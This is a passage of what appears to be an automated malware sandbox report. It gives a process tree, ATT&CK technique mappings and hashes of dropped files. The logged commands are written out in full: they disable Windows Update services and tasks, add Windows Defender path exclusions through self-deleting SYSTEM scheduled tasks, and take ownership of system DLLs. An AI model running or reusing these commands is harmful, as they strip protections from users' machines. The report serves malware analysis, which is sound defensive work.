        System Location Discovery: System Language Discovery
        
        PID:2668
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WaaSMedicSvc start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4820
    - - C:\Windows\SysWOW64\sc.exe
        
        sc failure WaaSMedicSvc reset= 0 actions= ""
        5⤵
        Launches sc.exe
        
        PID:4436
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4184
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:2756
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:4876
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1576
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f C:\Windows\System32\wuaueng.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1796
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3884
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1996
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3516
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3432
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
        5⤵
        
        PID:1536
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
        5⤵
        
        PID:3520
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\LjEXAb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      System Location Discovery: System Language Discovery
      PID:5008
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\LjEXAb\" /t REG_DWORD /d 0 /f"
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4260
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4648
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        
        PID:2524
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c echo.>c:\xxxx.ini
      4⤵
      System Location Discovery: System Language Discovery
      PID:920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      System Location Discovery: System Language Discovery
      PID:4888
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2024
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1716
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        
        PID:1844
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      PID:1428
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      System Location Discovery: System Language Discovery
      PID:2152
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1796
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3044
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      System Location Discovery: System Language Discovery
      PID:5032
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3708
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        
        PID:4344
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5072
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      System Location Discovery: System Language Discovery
      PID:1532
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:1912
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\LjEXAb.exe" /inheritance:r
      4⤵
      System Location Discovery: System Language Discovery
      PID:4260
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\LjEXAb.exe" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:536
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\LjEXAb.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5012
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\LjEXAb.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1500
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\LjEXAb.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      System Location Discovery: System Language Discovery
      PID:4640
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\LjEXAb.exe" /grant:r Users:(RX) /deny Users:(DE)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:1328
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      4⤵
      Indicator Removal: Clear Persistence
      System Location Discovery: System Language Discovery
      PID:5108
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1172
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Run /TN "Task1"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5004
    - - C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /Delete /TN "Task1" /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1796
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\image.png" /inheritance:r
      4⤵
      System Location Discovery: System Language Discovery
      PID:1972
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\image.png" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:2864
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1052
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3248
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      System Location Discovery: System Language Discovery
      PID:2788
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\image.png" /grant:r Users:(RX) /deny Users:(DE)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:1860
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\thumbs.db" /inheritance:r
      4⤵
      PID:4216
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\thumbs.db" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:748
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1152
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:1516
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      System Location Discovery: System Language Discovery
      PID:4644
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3708
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2392
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\XPSPLOG.dll" /inheritance:r
      4⤵
      System Location Discovery: System Language Discovery
      PID:4344
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\XPSPLOG.dll" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1760
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3776
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3172
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      System Location Discovery: System Language Discovery
      PID:5024
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4656
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bFiIck" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bFiIck" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3344
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2376
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:764
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3284
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:812
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4692
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:536
- C:\Program Files (x86)\LjEXAb\LjEXAb.exe
  "C:\Program Files (x86)\LjEXAb\LjEXAb.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4792
- C:\Program Files (x86)\3Mq6Dj\5LIK2.exe
  "C:\Program Files (x86)\3Mq6Dj\5LIK2.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4088
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:176
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3260
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:3980
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3412
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2820
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:4648
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2512
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:468
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4792
- C:\ProgramData\FpkfHJLB.exe
  C:\ProgramData\FpkfHJLB.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\ProgramData\JmEs3bxY\QcSV28Yr.exe
  C:\ProgramData\JmEs3bxY\QcSV28Yr.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1664

C:\Users\Admin\AppData\Local\Temp\instZIP.586506.xpc.exe
"C:\Users\Admin\AppData\Local\Temp\instZIP.586506.xpc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:536

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\UnprotectOpen.bat" "
1⤵
PID:2832

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x324 0x50c
1⤵
PID:3512

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1052

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\EditComplete.inf
1⤵
- Opens file in notepad (likely ransom note)
PID:4168

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\a19c6eb8635c49898e84bf046e2cbfa8 /t 464 /p 4168
1⤵
PID:2024

C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE
"C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE" /verb open "C:\Users\Admin\Desktop\SubmitBlock.xml"
1⤵
- Suspicious use of WriteProcessMemory
PID:3276
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\Desktop\SubmitBlock.xml
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2304 CREDAT:17410 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4408

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1324

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\3Mq6Dj\XPSPLOG.dll
Size 4.6MB
SHA256 233f8764a59fd7c796a43b0c47feaf99af26debba3289c99d8b5258ddded8ddf
MD5 a9793bf0a69528137d2c21f0fc95fe3f
SHA1 e07b3a821c03f4dfe472bbc04ec493b625a61b97
SHA512 909899c8fc2799196906bed194dfa0a4bb473a4de3862b7a84ad43acb8d5e70797f537ac08a48b9382b3683b4087c7d8482460d26aadabc2f689e9938ecb5eae
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyk:BMWKfU+BcUTHCCCfqCiUffnk
TLSH
T16D263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\3Mq6Dj\image.png
Size 4.9MB
SHA256 d1c6fbc1d46bfed6a9bf5b896cc649991d746bb23785b3ff43c65fce441a192b
MD5 6821c413aaca939fbe9f1c70f266e1b3
SHA1 f194fa3b47cfd17256b61534542c8ca57a90c226
SHA512 e53585757d2dbeacf78f97a08ca23daa5d909c39dd12ddd3a6cb4d873b1a3e1b15897f3d8064286e4e2341511b1b591b759967975a1934f4d8527e8b28576075
SSDEEP 98304:C91laJeDIpYOvAtQKEvZ7KsEri5NeaJGlbvB7crmEVWgkALqQfub:ChaJeU4t9Eh7KsThJG9RcrjkbAYb
TLSH
T17336333DE55E821A64C98CD13110C3EC856DA0639B2D9EEE8C6884EC4E3597CF57ADB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LjEXAb.exe

Path C:\Program Files (x86)\LjEXAb\LjEXAb.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\LjEXAb\XPSPLOG.dll
Size 4.6MB
SHA256 55eab32dd4e4abd8bd4c7643c7d9ae8942636df06f2de0c107bbfdeaa4325bd5
MD5 3d4f4d7ea3dc52ed7cd0fa3f1d3636dd
SHA1 ecc221628abfa95a4659f111f93f956b59ca5de7
SHA512 9029dfb2800643e4a38f032931246e2d9da253131b73650365c66a7bac0011e00126b0fe3d612f765053ce1a4e045b1fc9428db3220af801ce11b50b6b490080
